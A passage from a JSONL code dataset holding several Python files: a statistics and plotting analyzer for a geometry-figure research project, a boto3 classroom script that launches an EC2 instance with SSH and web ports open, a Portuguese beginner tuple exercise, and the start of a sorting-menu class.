Figure Q-Q Plot\", \"textbook_parts_qqplot\")\n Analyzer.draw_qq_plot_parts(txt_shapes, \"Textbook-like Shapes per Figure Q-Q Plot\", \"textbook_like_parts_qqplot\")\n\n @staticmethod\n def draw_qq_plot_parts(data, title, name):\n stats.probplot(data, dist=\"norm\", plot= plt)\n plt.title(title)\n plt.savefig(name + \".png\")\n plt.close()\n\n @staticmethod\n def aquire_willingness():\n data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"data_repeated_100000.json\")\n textbook_pair_percents = Analyzer.calculate_percents(data[\"Base\"][\"Pair Counts\"], data[\"Textbook\"][\"Pair Counts\"])\n textbook_pair_counts = data[\"Textbook\"][\"Pair Counts\"]\n base_pair_counts = data[\"Base\"][\"Pair Counts\"]\n textbook_shape_counts = data[\"Textbook\"][\"Shape Counts\"]\n base_shape_counts = data[\"Base\"][\"Shape Counts\"]\n\n pairs = []\n for pair in textbook_pair_counts:\n p1, p2 = Analyzer.split_pair(pair)\n p1 = SHAPE_NUMBER_MAP[p1]\n p2 = SHAPE_NUMBER_MAP[p2]\n pair = str(p1) + \", \" + str(p2)\n inverse_pair = str(p2) + \", \" + str(p1)\n pairs.append(pair)\n pairs.append(inverse_pair)\n pairs = sorted(pairs)\n\n bse_count = {}\n for pair in pairs:\n p1, p2 = Analyzer.split_pair(pair)\n p1 = NUMBER_SHAPE_MAP[int(p1)]\n p2 = NUMBER_SHAPE_MAP[int(p2)]\n pair = p1 + \", \" + p2\n bse_count[pair] = 0\n\n for pair in bse_count.keys():\n p1, p2 = Analyzer.split_pair(pair)\n if p1 == p2:\n bse_count[pair] += math.comb(base_shape_counts[p1]+1, 2)\n else:\n bse_count[pair] += base_shape_counts[p1] * base_shape_counts[p2]\n\n base_per_rep = bse_count.copy()\n maximum = bse_count[max(bse_count, key=lambda key: bse_count[key])]\n for pair in bse_count:\n base_per_rep[pair] /= maximum\n\n base_pair_rep = base_pair_counts.copy()\n\n for pair in pairs:\n p1, p2 = Analyzer.split_pair(pair)\n p1 = NUMBER_SHAPE_MAP[int(p1)]\n p2 = NUMBER_SHAPE_MAP[int(p2)]\n pair = p1 + \", \" + p2\n sorted_pair = Analyzer.merge_pair(p1, p2)\n base_pair_rep[pair] = base_pair_counts[sorted_pair]\n\n maximum = base_pair_rep[max(base_pair_rep, key=lambda key: base_pair_rep[key])]\n for pair in base_pair_rep:\n base_pair_rep[pair] /= base_per_rep[pair]\n\n Analyzer._create_histogram(base_pair_counts, False, \"base\")\n Analyzer._create_histogram(base_pair_rep, False, \"Thing\")\n Analyzer._create_histogram(base_per_rep, False, \"Per\")\n\n txt_count = {}\n for pair in pairs:\n p1, p2 = Analyzer.split_pair(pair)\n p1 = NUMBER_SHAPE_MAP[int(p1)]\n p2 = NUMBER_SHAPE_MAP[int(p2)]\n pair = p1 + \", \" + p2\n txt_count[pair] = 0\n\n for pair in txt_count.keys():\n p1, p2 = Analyzer.split_pair(pair)\n if p1 == p2:\n txt_count[pair] += math.comb(textbook_shape_counts[p1]+1, 2)\n else:\n txt_count[pair] += textbook_shape_counts[p1] * textbook_shape_counts[p2]\n\n textbook_per_rep = txt_count.copy()\n maximum = textbook_per_rep[max(textbook_per_rep, key=lambda key: textbook_per_rep[key])]\n for pair in txt_count:\n textbook_per_rep[pair] /= maximum\n\n textbook_pair_rep = textbook_pair_counts.copy()\n\n for pair in pairs:\n p1, p2 = Analyzer.split_pair(pair)\n p1 = NUMBER_SHAPE_MAP[int(p1)]\n p2 = NUMBER_SHAPE_MAP[int(p2)]\n pair = p1 + \", \" + p2\n sorted_pair = Analyzer.merge_pair(p1, p2)\n textbook_pair_rep[pair] = textbook_pair_counts[sorted_pair]\n\n maximum = textbook_pair_rep[max(textbook_pair_rep, key=lambda key: textbook_pair_rep[key])]\n for pair in textbook_pair_rep:\n textbook_pair_rep[pair] /= textbook_per_rep[pair]\n\n Analyzer._create_histogram(textbook_pair_counts, False, \"Textbook\")\n Analyzer._create_histogram(textbook_pair_rep, False, \"TXT Thing\")\n Analyzer._create_histogram(textbook_per_rep, False, \"TXT Per\")\n\n Analyzer._create_histogram(Analyzer.calculate_percents(base_pair_rep, textbook_pair_rep), True, \"A Thing\")\n\n @staticmethod\n def perform_test_parts():\n data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"textbook_118.json\")\n positive_shape_counts = Analyzer.calculate_shape_parts(data[\"Textbook\"][\"Shape Counts\"], data[\"Textbook\"][\"Total\"])\n \n data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"data_repeated_100000.json\")\n textbook_shape_percents = Analyzer.calculate_shape_parts(data[\"Textbook\"][\"Shape Counts\"], data[\"Textbook\"][\"Total\"])\n \n pos_shapes = pd.Series(positive_shape_counts.values())\n txt_shapes = pd.Series(textbook_shape_percents.values())\n\n print(stats.shapiro(pos_shapes))\n print(stats.shapiro(txt_shapes))\n print(stats.mannwhitneyu(pos_shapes, txt_shapes))\n\n fig = plt.figure(figsize= (10, 5))\n ax = fig.add_subplot(111)\n ax.set_xlabel(\"Average Shape Instances per Figures\")\n ax.set_ylabel(\"number of Shape Types\")\n plt.hist(pos_shapes, label= \"Textbook Shapes\", density= False, alpha=0.5)\n plt.hist(txt_shapes, label= \"Textbook-Like Shapes\", density= False, alpha=0.5)\n plt.legend()\n plt.text(0, 5.6, f\"Textbook-Like: $\\mu= {txt_shapes.mean()}, \\ \\sigma= {txt_shapes.std()}$\")\n plt.text(0, 5.4, f\"Textbook: $\\mu= {pos_shapes.mean()}, \\ \\sigma= {pos_shapes.std()}$\")\n plt.show()\n\n @staticmethod\n def flatten_reps(data):\n flattened = []\n for key, reps in data.items():\n for i in range(0, reps):\n flattened.append(int(key))\n return flattened\n\n @staticmethod\n def perform_test_nodes():\n data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"textbook_118.json\")\n textbook_sizes = Analyzer.flatten_reps(data[\"Textbook\"][\"Node Count Info\"][\"count\"])\n \n data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"data_repeated_100000.json\")\n textbook_like_sizes = Analyzer.flatten_reps(data[\"Textbook\"][\"Node Count Info\"][\"count\"])\n \n txt_sizes = pd.Series(textbook_sizes)\n txt_lk_sizes = pd.Series(textbook_like_sizes)\n print(len(txt_sizes), len(txt_lk_sizes))\n print(stats.shapiro(txt_sizes))\n print(stats.shapiro(txt_lk_sizes))\n print(stats.mannwhitneyu(txt_sizes, txt_lk_sizes))\n print(txt_sizes)\n fig = plt.figure(figsize= (10, 5))\n ax = fig.add_subplot(111)\n ax.set_title(\"Distribution of Figure Sizes\")\n ax.set_xlabel(\"Figure Size\")\n ax.set_ylabel(\"Percent\")\n plt.hist(txt_sizes, label= \"Textbook Sizes\", density= True, alpha=0.5)\n plt.hist(txt_lk_sizes, label= \"Textbook-Like Sizes\", density= True, alpha=0.5)\n plt.legend()\n plt.text(0, 5.6, f\"Textbook-Like: $\\mu= {txt_lk_sizes.mean()}, \\ \\sigma= {txt_lk_sizes.std()}$\")\n plt.text(0, 5.4, f\"Textbook: $\\mu= {txt_sizes.mean()}, \\ \\sigma= {txt_sizes.std()}$\")\n plt.show()\n\n @staticmethod\n def read_data(directory, name):\n json_file = open(directory + \"/\" +name)\n return json.load(json_file)\n\n @staticmethod\n def analyze(graphs:list[list[nx.MultiGraph]], labels, name=\"analysis_data\"):\n\n textbook_total = sum([sum(lbl_lst) for lbl_lst in labels])\n non_textbook_total = sum([len(lbl_lst) for lbl_lst in labels]) - textbook_total\n\n textbook_node_degrees = []\n non_textbook_node_degrees = []\n base_node_degrees = []\n \n textbook_edge_degrees = []\n non_textbook_edge_degrees = []\n base_edge_degrees = []\n\n textbook_node_count = []\n non_textbook_node_count = []\n base_node_count = []\n\n textbook_edge_count = []\n non_textbook_edge_count = []\n base_edge_count = []\n\n for i, graph_group in enumerate(graphs):\n for j, graph in enumerate(graph_group):\n if labels[i][j]:\n # construct lists for textbook-like info\n for degree in list(dict(graph.degree).values()):\n textbook_node_degrees.append(degree)\n for degree in [graph.number_of_edges(u, v) for u, v, c in graph.edges]:\n textbook_edge_degrees.append(degree)\n textbook_node_count.append(len(graph.nodes))\n textbook_edge_count.append(len(graph.edges))\n else:\n # construct lists for non-textbook-like info\n for degree in list(dict(graph.degree).values()):\n non_textbook_node_degrees.append(degree)\n for degree in [graph.number_of_edges(u, v) for u, v, c in graph.edges]:\n non_textbook_edge_degrees.append(degree)\n non_textbook_node_count.append(len(graph.nodes))\n non_textbook_edge_count.append(len(graph.edges))\n # construct lists for base info\n for degree in list(dict(graph.degree).values()):\n base_node_degrees.append(degree)\n for degree in [graph.number_of_edges(u, v) for u, v, c in graph.edges]:\n base_edge_degrees.append(degree)\n base_node_count.append(len(graph.nodes))\n base_edge_count.append(len(graph.edges))\n \n \n textbook_node_degree_info = Analyzer.get_info(textbook_node_degrees)\n textbook_node_count_info = Analyzer.get_info(textbook_node_count)\n textbook_edge_degree_info = Analyzer.get_info(textbook_edge_degrees)\n textbook_edge_count_info = Analyzer.get_info(textbook_edge_count)\n\n non_textbook_node_degree_info = Analyzer.get_info(non_textbook_node_degrees)\n non_textbook_node_count_info = Analyzer.get_info(non_textbook_node_count)\n non_textbook_edge_degree_info = Analyzer.get_info(non_textbook_edge_degrees)\n non_textbook_edge_count_info = Analyzer.get_info(non_textbook_edge_count)\n\n base_node_degree_info = Analyzer.get_info(base_node_degrees)\n base_node_count_info = Analyzer.get_info(base_node_count)\n base_edge_degree_info = Analyzer.get_info(base_edge_degrees)\n base_edge_count_info = Analyzer.get_info(base_edge_count)\n\n textbook_shape_counts = {name : 0 for name in NUMBER_SHAPE_MAP.values()}\n non_textbook_shape_counts = textbook_shape_counts.copy()\n\n textbook_shape_inclusions = textbook_shape_counts.copy()\n non_textbook_shape_inclusions = textbook_shape_counts.copy()\n\n textbook_pair_counts = Analyzer._get_all_pairs()\n non_textbook_pair_counts = textbook_pair_counts.copy()\n \n textbook_pair_inclusions = textbook_pair_counts.copy()\n non_textbook_pair_inclusions = textbook_pair_counts.copy()\n\n for i, graph_group in enumerate(graphs):\n for j, graph in enumerate(graph_group):\n shapes = Analyzer._get_shapes(graph)\n for a_shape in shapes:\n if labels[i][j]: textbook_shape_counts[a_shape] += 1\n else: non_textbook_shape_counts[a_shape] += 1\n for shape in NUMBER_SHAPE_MAP.values():\n if shape in shapes:\n if labels[i][j]: textbook_shape_inclusions[shape] += 1\n else: non_textbook_shape_inclusions[shape] += 1\n\n for i, graph_group in enumerate(graphs):\n for j, graph in enumerate(graph_group):\n pairs = Analyzer._get_shape_pairs(graph)\n for pair in pairs:\n if labels[i][j]: textbook_pair_counts[pair] += 1\n else: non_textbook_pair_counts[pair] += 1\n for shape_pair in textbook_pair_counts.keys():\n if shape_pair in pairs:\n if labels[i][j]: textbook_pair_inclusions[shape_pair] += 1\n else: non_textbook_pair_inclusions[shape_pair] += 1\n\n analysis = {\n \"Textbook\" : {\n \"Total\" : textbook_total,\n \"Node Degree Info\" : textbook_node_degree_info,\n \"Node Count Info\" : textbook_node_count_info,\n \"Edge Degree Info\" : textbook_edge_degree_info,\n \"Edge Count Info\" : textbook_edge_count_info,\n \"Shape Counts\" : textbook_shape_counts,\n \"Shape Inclusion\" : textbook_shape_inclusions,\n \"Pair Counts\" : textbook_pair_counts,\n \"Pair Inclusion\" : textbook_pair_inclusions\n },\n \"Non-Textbook\" : {\n \"Total\" : non_textbook_total,\n \"Node Degree Info\" : non_textbook_node_degree_info,\n \"Node Count Info\" : non_textbook_node_count_info,\n \"Edge Degree Info\" : non_textbook_edge_degree_info,\n \"Edge Count Info\" : non_textbook_edge_count_info,\n \"Shape Counts\" : non_textbook_shape_counts,\n \"Shape Inclusion\" : non_textbook_shape_inclusions,\n \"Pair Counts\" : non_textbook_pair_counts,\n \"Pair Inclusion\" : non_textbook_pair_inclusions\n },\n \"Base\" : {\n \"Total\" : Analyzer.get_base_values(textbook_total, non_textbook_total),\n \"Node Degree Info\" : base_node_degree_info,\n \"Node Count Info\" : base_node_count_info,\n \"Edge Degree Info\" : base_edge_degree_info,\n \"Edge Count Info\" : base_edge_count_info,\n \"Shape Counts\" : Analyzer.get_base_values(textbook_shape_counts, non_textbook_shape_counts),\n \"Shape Inclusion\" : Analyzer.get_base_values(textbook_shape_inclusions, non_textbook_shape_inclusions),\n \"Pair Counts\" : Analyzer.get_base_values(textbook_pair_counts, non_textbook_pair_counts),\n \"Pair Inclusion\" : Analyzer.get_base_values(textbook_pair_inclusions, non_textbook_pair_inclusions)\n }\n }\n\n json_data = json.dumps(analysis, indent=4)\n\n ToJson.create_json_file(\"Summer-Research-2022/hold/\", name, json_data)\n \n @staticmethod\n def _get_all_pairs():\n code_combos = itt.combinations_with_replacement(NUMBER_SHAPE_MAP.keys(), 2)\n code_combos = sorted(sorted(pair) for pair in code_combos)\n for i, combo in enumerate(code_combos):\n for j, code in enumerate(combo):\n code_combos[i][j] = NUMBER_SHAPE_MAP[code]\n code_combos[i] = str(code_combos[i]).replace('[','').replace(']','').replace(\"'\",'')\n return dict.fromkeys(code_combos, 0)\n\n @staticmethod\n def _get_shapes(graph):\n shapes = []\n attributes = nx.get_node_attributes(graph, 'default')\n for att in attributes.values():\n shapes.append(NUMBER_SHAPE_MAP[att[SHAPE]])\n return shapes\n \n @staticmethod\n def _get_shape_pairs(graph):\n edge_shapes = []\n attributes = nx.get_node_attributes(graph, 'default')\n for u, v in graph.edges():\n shape_u = NUMBER_SHAPE_MAP[attributes[u][SHAPE]]\n shape_v = NUMBER_SHAPE_MAP[attributes[v][SHAPE]]\n edge_shapes.append(Analyzer.merge_pair(shape_u, shape_v))\n return edge_shapes\n \n @staticmethod\n def get_base_values(textbook_values, non_textbook_values):\n if type(textbook_values) != dict:\n return textbook_values + non_textbook_values\n else:\n base_values = {}\n for data in textbook_values:\n base_values[data] = Analyzer.get_base_values(textbook_values[data], non_textbook_values[data])\n return base_values\n\n @staticmethod\n def get_info(information):\n count = dict.fromkeys(sorted(information), 0)\n for info in information:\n count[info] += 1\n \n if information != []:\n return {\"mean\" : float(np.mean(information)),\n \"standard deviation\" : float(np.std(information)),\n \"max\" : int(np.amax(information)),\n \"min\" : int(np.amin(information)),\n \"count\" : count}\n else:\n return {\"mean\" : -1,\n \"standard deviation\" : -1,\n \"max\" : -1,\n \"min\" : -1,\n \"count\" : count}\n \n @staticmethod\n def remove_duplicates(graphs, labels):\n unique_graphs = []\n unique_labels = []\n for graph_group in enumerate(graphs):\n unique_group = []\n for graph in enumerate(graph_group):\n if not RandomFaceGraphCreator.is_in(graph, graphs):\n unique_group.append(graph)\n if unique_group != []:\n unique_graphs.append(unique_group.copy())\n return unique_graphs\n\n @staticmethod\n def _create_histogram(data, is_percent, name):\n # Extract the shape names and counts\n shape_names = list(data.keys())\n shape_counts = list(data.values())\n\n # Set the colors for each shape\n colors = ['blue', 'green', 'red', 'yellow', 'orange', 'purple', 'cyan',\n 'magenta', 'gray', 'brown']\n\n # Create the figure and axes\n fig, ax = plt.subplots()\n\n # Create the histogram\n bars = ax.bar(shape_names, shape_counts, color=colors)\n if is_percent:\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(xmax=1, decimals=2))\n\n # Add labels and titles\n ax.set_xlabel('Shapes')\n if is_percent:\n ax.set_ylabel('Percent')\n else:\n ax.set_ylabel('Count')\n ax.set_title(name)\n\n # Customize the appearance\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.xaxis.set_ticks_position('bottom')\n ax.yaxis.set_ticks_position('left')\n\n # Add color labels\n if is_percent:\n for i, bar in enumerate(bars):\n height = bar.get_height()\n ax.text(bar.get_x() + bar.get_width() / 2, height,\n str(round(shape_counts[i] * 100, 1)) + \"%\", ha='center', va='bottom')\n else:\n for i, bar in enumerate(bars):\n height = bar.get_height()\n ax.text(bar.get_x() + bar.get_width() / 2, height,\n round(shape_counts[i], 2), ha='center', va='bottom')\n\n # Rotate x-axis labels for better visibility\n plt.xticks(rotation= -90)\n\n # Display the histogram\n #plt.tight_layout()\n plt.show()\n\n#face_graphs = []\n#c = 0\n#quant = 10000\n#for i in range(0, quant):\n# if c%int(quant/10) == 0:\n# print(c)\n# c+=1\n#face_graphs = RandomFaceGraphCreator.create_random_face_graphs(quant)\n\n#isTextbooks = TextbookIdentifier.identify_group(face_graphs, \"model__1\")\n\n#Analyzer.analyze([face_graphs], [isTextbooks], \"data_random_\" + str(quant))\n\n#data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"data_repeated_100000.json\")\n\n#textbook_shape_percents = Analyzer.calculate_percents(data[\"Base\"][\"Shape Counts\"], data[\"Textbook\"][\"Shape Counts\"])\n#textbook_pair_percents = Analyzer.calculate_percents(data[\"Base\"][\"Pair Counts\"], data[\"Textbook\"][\"Pair Counts\"])\n\n#Analyzer._create_histogram(textbook_pair_percents, True, \"Percents\")\n\n#Analyzer._create_histogram(textbook_pair_percents, True, \"Percents\")\n\n#Analyzer._create_histogram(textbook_pair_percents, True, \"Percents\")\n\n# SHAPES = {0 : \"Segment\",\n# 1 : \"Triangle\",\n# 2 : \"Quadralateral\",\n# 3 : \"Pentagon\",\n# 4 : \"Hexagon\",\n# 5 : \"Heptagon\",\n# 6 : \"Octagon\"}\n\n# data_size_3 = {}\n# length = 1\n# for com in itt.combinations_with_replacement(range(0,7), length):\n# input_shape_list = [0, 0, 0, 0, 0, 0, 0]\n# for i in com: input_shape_list[i] += 1\n\n# shapes = []\n# for i, input in enumerate(input_shape_list):\n# for inp in range(0, input):\n# shapes.append(SHAPES[i])\n\n# data_size_3[tuple(shapes)] = Analyzer.read_data(\"Summer-Research-2022/hold/inputs/size_1\", \"input_\" + str(input_shape_list) + \".json\")\n\n# total_size_3 = {key : {}.copy() for key in data_size_3}\n# for shapes, inp in data_size_3.items():\n# total_size_3[shapes][\"Textbook\"] = inp[\"Textbook\"][\"Total\"]\n# total_size_3[shapes][\"Base\"] = inp[\"Base\"][\"Total\"]\n\n# for (shape1), total in total_size_3.items():\n# print(total[\"Base\"])\n\n#print(pair_percents)\n\n# length = 3\n# for com in itt.combinations_with_replacement(range(0,7), length):\n# input_shape_list = [0, 0, 0, 0, 0, 0, 0]\n# for i in com: input_shape_list[i] += 1\n\n# lattice_generator = LatticeGenerator(input_shape_list)\n# lattices = lattice_generator.glue_shapes()._lattice_matrix\n# lattices = lattice_generator.constrain_to_final(lattices, length)\n \n# face_graphs = FaceGraphGenerator.from_lattices(lattices)\n# isTextbooks = TextbookIdentifier.identify(face_graphs, \"model__1\")\n\n# Analyzer.analyze(face_graphs, isTextbooks, \"inputs/size_\" + str(length) + \"/input_\" + str(input_shape_list))\n\n# Analyzer.perform_test_parts()\n\n# Analyzer.draw_qq_plots_parts()\n\n#data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"textbook_118.json\")\n\n#textbook_node_counts = data[\"Textbook\"][\"Node Count Info\"][\"count\"]\n#base_node_counts = data[\"Base\"][\"Node Count Info\"][\"count\"]\n\n#for amount in textbook_node_counts:\n# textbook_node_counts[amount] /= base_node_counts[amount]\n\n# data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"textbook_118.json\")\n# textbook_node_counts = data[\"Textbook\"][\"Node Count Info\"][\"count\"]\n\n# Analyzer._create_histogram(textbook_node_counts, False, \"Node Counts\")\n\n#Analyzer.perform_test_parts()\n\n# data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"textbook_118.json\")\n# positive_shape_parts = Analyzer.calculate_shape_parts(data[\"Textbook\"][\"Shape Counts\"], data[\"Textbook\"][\"Total\"])\n \n# data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"data_repeated_100000.json\")\n# textbook_shape_parts = Analyzer.calculate_shape_parts(data[\"Textbook\"][\"Shape Counts\"], data[\"Textbook\"][\"Total\"])\n\n# pos_shapes = pd.Series(positive_shape_parts.values())\n# txt_shapes = pd.Series(textbook_shape_parts.values())\n\n# print(stats.linregress(np.sort(pos_shapes), np.sort(txt_shapes)))\n\n# print(pos_shapes)\n# plt.figure()\n# plt.scatter(np.sort(pos_shapes), np.sort(txt_shapes))\n# plt.xlabel('Percent Textbook-like Shape Distribution')\n# plt.ylabel('Percent Textbook Shape Distribution')\n# plt.show()\n# plt.close()\n\n\n#Analyzer.aquire_willingness()\n\n# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n# shape breakdown:\n# percent - percent of the total number of each shape found in textbook-like examples vs how many there are total\n# * textbook-like s per \n# count - total number of each shape found in textbook-like examples\n# * textbook-like s\n# parts - average number of each shape found in a textbook-line figure\n# * textbook-like s per textbook-like figure\n# base - total number of each shape found\n# * s\n#\n# *textbook-like : that comes from a textbook-like figure\n\n# inclusion breakdown:\n# percent - percent of figures that include each shape found in the textbook-like examples vs how many there are in all examples\n# * textbook-like figures containing per figure containing \n# count - total number of figures that include each shape found in the textbook-like examples\n# * textbook-like figures containing \n# parts - percent of figures that include each shape found in the textbook-like examples\n# * textbook-like figures containing per textbook-like figure\n# base - total number of figures that include each shape found\n# * figures containing \n\n\n# most textbook figures are built from trianges or contain triangles\n# most repeated is 2 edge glued right triangles (2x next one)\n# most figures have 1, 2 or 4 shapes\n# 1 is by far the most common\n# 3 figures shapes are rarer\n# large figures tend to have 1 or 2 types of shapes\n\n# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n# smaller figures are very perfered to larger figures\n\n# most textbook figures have triangles\n\n# the paterns are from present with less than 10000 graphs\n\n# very few line-segments pass, then has a peak with the triangles, before noticably decreasing upon hitting the quadralaterals,\n# then slopping downward to near nothing until octagons\n\n# smaller number of sides is better until 1 which is bad\n# smaller shape code is better until 0 which is bad\n\n# less than half of the figures contain any given shape\n\n# 61.9% accuracy on the textbook graphs\n# 83.1% accuracy on the non-textbook graphs\n\n# it generally perfers edges between one smaller and one larger shape\n# Right Triangle, Regular Octagon - 63.3%\n# Isosceles Right Triangle, Regular Septagon - 62.0%\n# Isosceles Right Triangle, Regular Hexagon - 58.9%\n# Equilateral Triangle, Regular Septagon - 57.5%\n# Equilateral Triangle, Regular Pentagon - 54.1%\n# Isosceles Right Triangle, Regular Pentagon - 51.7%\n# Isosceles Right Triangle, Regular Octagon - 50.5%\n\n# Shapes\n#\n# Textbook shapiro test:\n# statistic = 0.8537275791168213 \n# p-value = 0.012230399064719677\n# * not normal distribution\n# Textbook-like shapeiro test:\n# statistic = 0.9082025289535522\n# p-value = 0.09328904747962952\n# * not likely normal distribution\n# Mannwhitneyu test:\n# statistic(textbook) = 164.0\n# statistic(textbook-like) = 125.0\n# p-value = 0.5126755928763647\n# * different\n\n# Nodes\n#\n# Textbook shapiro test:\n# statistic = 0.7588671445846558\n# p-value = 0.0000000000012226482846988684\n# * not normal distribution\n# Textbook-like shapeiro test:\n# statistic = 0.8589462041854858\n# p-value = ~0 (N is to high for accurate results)\n# * not notmal distribution\n# Mannwhitneyu test:\n# statistic(textbook) = 1146147.5\n# statistic(textbook-like) = 688516.5\n# p-value = 0.000002076427567519129\n# * similier","repo_name":"hannaking/Summer-Research-2023","sub_path":"Summer-Research-2022/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":32633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70231871417","text":"# *************************\n# Step 01: Load this into Python first\n# *************************\nfrom datetime import datetime\nimport os\nimport time\nimport sys\nimport boto3\nimport botocore\nimport botocore.exceptions\nfrom botocore.exceptions import ClientError\nimport json\n\n\n# import boto.vpc\n\n# NOTE: you will have to change the default parameter values\n# to your values, or pass them in when making the function call\ndef launch_instance(amiid='ami-0f2176987ee50226e',\n instance_type='t2.micro',\n keypair_name='pshah2019v2',\n security_group_name='awsclass01a',\n cidr='0.0.0.0/0',\n tag='lpsiinst01',\n user_data=None,\n region='us-west-2'):\n # Create a connection to EC2 service and get vpc connection\n ec2 = boto3.client('ec2', region_name=region)\n\n # get the 1st vpc and 1st subnet\n resp = ec2.describe_vpcs()\n vpcidtouse = resp['Vpcs'][0]['VpcId']\n subnetlist = ec2.describe_subnets(Filters=[{'Name': 'vpc-id', 'Values': [vpcidtouse]}])\n subnetid = subnetlist['Subnets'][0]['SubnetId']\n\n # Check to see if specified security group already exists.\n # If we get an InvalidGroup.NotFound error back from EC2,\n # it means that it doesn't exist and we need to create it.\n secgrpname = security_group_name\n bcreatedsecgrp = False\n try:\n secgrpfilter = [\n {\n 'Name': 'group-name', 'Values': [secgrpname]\n }\n ]\n secgroups = ec2.describe_security_groups(\n Filters=secgrpfilter\n )\n if secgroups['SecurityGroups']:\n secgrptouse = secgroups[\"SecurityGroups\"][0]\n secgrpid = secgrptouse['GroupId']\n else:\n secgrptouse = ec2.create_security_group(\n GroupName=secgrpname, Description='aws class open ssh,http,https',\n VpcId=vpcidtouse)\n secgrpid = secgrptouse['GroupId']\n bcreatedsecgrp = True\n except ClientError as e:\n printlog(\"%s \" % e.response['Error']['Code'])\n raise\n\n if (bcreatedsecgrp == True):\n # Add a rule to the security group to authorize ssh traffic\n # on the specified port.\n # open ports 22, 80, 443,\n portlist = [22, 80, 443]\n for port in portlist:\n try:\n ec2.authorize_security_group_ingress(\n CidrIp='0.0.0.0/0',\n FromPort=port,\n GroupId=secgrpid,\n IpProtocol='tcp',\n ToPort=port)\n except:\n printlog(\"error opening port:\" + str(port))\n exit()\n\n try:\n secgrpidlist = [secgrpid]\n numinstances = 1\n resp = ec2.run_instances(\n ImageId=amiid,\n InstanceType=instance_type,\n KeyName=keypair_name,\n SecurityGroupIds=secgrpidlist,\n SubnetId=subnetid,\n MaxCount=numinstances,\n MinCount=numinstances)\n except:\n printlog(\"exception:\", sys.exc_info()[0])\n raise\n\n inst = resp[\"Instances\"][0]\n instid = inst[\"InstanceId\"]\n\n\n printlog(\n 'EC2 instance has been created with ID : ' + instid + '\\n Now ... Waiting for instance to enter running state')\n\n bIsRunning = False\n bDidWePrintRunning = False\n while bIsRunning == False:\n rz = ec2.describe_instance_status(InstanceIds=[instid])\n\n # call can return before all data is available\n if not bool(rz):\n continue\n if len(rz[\"InstanceStatuses\"]) == 0:\n continue\n\n inststate = rz[\"InstanceStatuses\"][0][\"InstanceState\"]\n state = inststate[\"Name\"]\n\n if state == 'running':\n if not bDidWePrintRunning:\n # printlog(json.dumps(inststate, indent=2, separators=(',', ':')))\n printlog(\"Instance is running now waiting for it to initialized\")\n bDidWePrintRunning = True\n\n instatus = rz[\"InstanceStatuses\"][0][\"InstanceStatus\"][\"Status\"]\n printlog(\"Instance status : \" + instatus)\n\n if instatus == 'ok':\n bIsRunning = True\n else:\n time.sleep(45) # Wait for 20 seconds before next poll\n continue\n\n printlog('Checking if instance has Public IP - else we will wait for it be assigned')\n bGotIp = False\n while bGotIp == False:\n outp = ec2.describe_instances(InstanceIds=[instid])\n inst = outp[\"Reservations\"][0][\"Instances\"][0]\n instid = inst[\"InstanceId\"]\n publicip = inst.get('PublicIpAddress')\n if not publicip:\n printlog('do not have ip address yet')\n time.sleep(20)\n continue\n else:\n bGotIp = True\n\n printlog('Public IP assigned to this instance is: ' + publicip)\n # The instance has been launched but it's not yet up and\n # running. Let's wait for it's state to change to 'running'.\n\n return inst\n\n\n# inst = launch_instance()\n\ndef banner(text, ch='=', length=78):\n spaced_text = ' %s ' % text\n banner = spaced_text.center(length, ch)\n return banner\n\n\ndef printlog(text):\n strformat = \"%Y-%m-%d %H:%M:%S\"\n print(datetime.strftime(datetime.now(), strformat), text)\n","repo_name":"ishswar/aws-ec2-ebs","sub_path":"ec2_ebs_part_2/createStart_EC2Inst.py","file_name":"createStart_EC2Inst.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"19824988455","text":"\"\"\"\nDesenvolva um programa que leia quatro valores pelo teclado e guarde-os em uma tupla. No final, mostre:\nA) Quantas vezes apareceu o valor 9\nB) Em que posição foi digitado o primeiro valor 3\nC) Quais foram os números pares\n\"\"\"\n\nnum = (int(input('Digite um número: ')), int(input('Digite outro número: ')),int(input('Digite mais um número: ')),\n int(input('Digite o último número: ')))\n\nif 9 in num:\n print(f'O número 9 apareceu {num.count(9)} vezes!')\nelse:\n print('O número 9 não foi digitado!')\n\nif 3 in num:\n print(f'O número três apareceu na {num.index(3) + 1} posição')\nelse:\n print('O número 3 não foi digitado!')\n\npares = 0\nfor n in num:\n if n % 2 == 0:\n pares += 1\n\nif pares > 0:\n print('Os número PARES digitados foram: ', end='')\n for n in num:\n if n % 2 == 0:\n print(n, end=' ')\nelse:\n print('Não foram digitados valores pares!')\n","repo_name":"oliveirajonathas/python_estudos","sub_path":"pacote-download/pythonProject/exercicios_python_guanabara/ex075-professor.py","file_name":"ex075-professor.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"41327809939","text":"class exercicio:\r\n\r\n def menuLista(self):\r\n print(\"****************\")\r\n print(\"***Bem Vindo ***\")\r\n print(\"****************\")\r\n print()\r\n\r\n data = []\r\n for x in range(5):\r\n num = int(input(\"digite um numero:\"))\r\n data.append(num)\r\n\r\n size = len(data)\r\n print(\"****************\")\r\n print(\"1 - Selection Sort\")\r\n print(\"2 - Buble Sort\")\r\n print(\"3 - Insertion Sort\")\r\n op = int(input(\">> Digite uma opção: \"))\r\n\r\n if op == 1:\r\n exercicio.selectionSort(data, size)\r\n print(data)\r\n elif op == 2:\r\n exercicio.insertion_sort(data)\r\n print(data)\r\n elif op == 